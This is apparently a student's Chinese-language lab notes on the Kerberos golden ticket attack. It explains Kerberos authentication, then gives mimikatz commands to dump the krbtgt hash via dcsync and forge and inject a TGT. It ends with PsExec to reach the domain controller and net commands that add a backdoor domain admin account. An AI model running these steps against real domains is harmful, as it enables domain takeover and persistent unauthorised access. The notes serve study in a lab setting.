一、黄金票据攻击介绍
黄金票据(golden ticket)攻击,是一种为任意用户生成TGT票据的方法,属于一种后门。黄金票据生成,是生成有效的TGT Kerberos票据,并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天),那么,这里可以为任意用户生成黄金票据,就可以为域管理员生成TGT,普通用户就可以变成域管理员。
二、Kerberos认证流程
Windows 的认证协议主要有两种,一种是 NTLM 认证,另一种是 Kerberos认证。
这里主要简单说一下Kerberos认证方式,这是一种基于票据的认证方式,有客户端、服务器和KDC(DC,Domain Controller)组成。
认证流程:
1.客户端向KDC的AS服务请求开具身份证明。
2.AS服务认证成功后返回给客户端认证权证(TGT,黄金票据攻击需要伪造的票据)
3.客户端拿着TGT到KDC的TGS服务买票。
4.TGS认证成功后返回给客户端服务票据(ST)。
5.客户端拿着ST去访问服务。
6.服务向DC核实,返回相应的服务资源。
三、黄金票据的制作条件
1.域名称
2.域的SID
3.域控的Krbtgt账户的密码hash值
4.任意域用户名
注意:
制作域管的TGT票据,首先需要获取Krbtgt账户的密码hash,而Krbtgt账户的密码hash存储在域控制器上,因此需要活动域管理员权限。
综上,是个死循环,所以黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。
- 制作黄金票据,也就是伪造TGT
准备的虚拟机:
Windows server 2016,Windows10
以下步骤在Windows server 2016下运行
一.获取黄金票据需要的信息
域名称
输入systeminfo
域:hu.com
二.以下操作利用猕猴桃获取
1.域的SID
privilege::debug
lsadump::dcsync /user:krbtgt
S-1-5-21-4190596955-3467960438-2623003303
2.域控的Krbtgt账户的密码hash值(域控已经被拿下来)
a36cfc43018a696e4b01fc6941e54951
3.任意域用户
Administrator
4.制作票据
在之前查看原有的票据,然后删除,最后制作票据
1)查看当前票据
kerberos::list
2)清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3)制作票据(注意‘/’前面都有空格)
kerberos::golden /admin:administrator /domain:hu.com /sid:S-1-5-21-4190596955-3467960438-2623003303 /krbtgt:a36cfc43018a696e4b01fc6941e54951 /ticket:ticket.kirbi
三、以下操作在Windows10下进行
以下操作利用猕猴桃
导入黄金票据
kerberos::ptt ticket.kirbi
kerberos::list
反弹域控shell回本地
PsExec.exe \\DC.dongta.test cmd.exe
DC.dongta.test这个是获取Windows server 2016的
然后添加域控管理员账号
net user username password /add /domain
net group“domain admins” username /add /domain
四、总结:
黄金票据攻击相当于一个后门,制作黄金票据最重要的是获取到Krbtgt用户的hash。
以上是跟着老师上课时做的总结。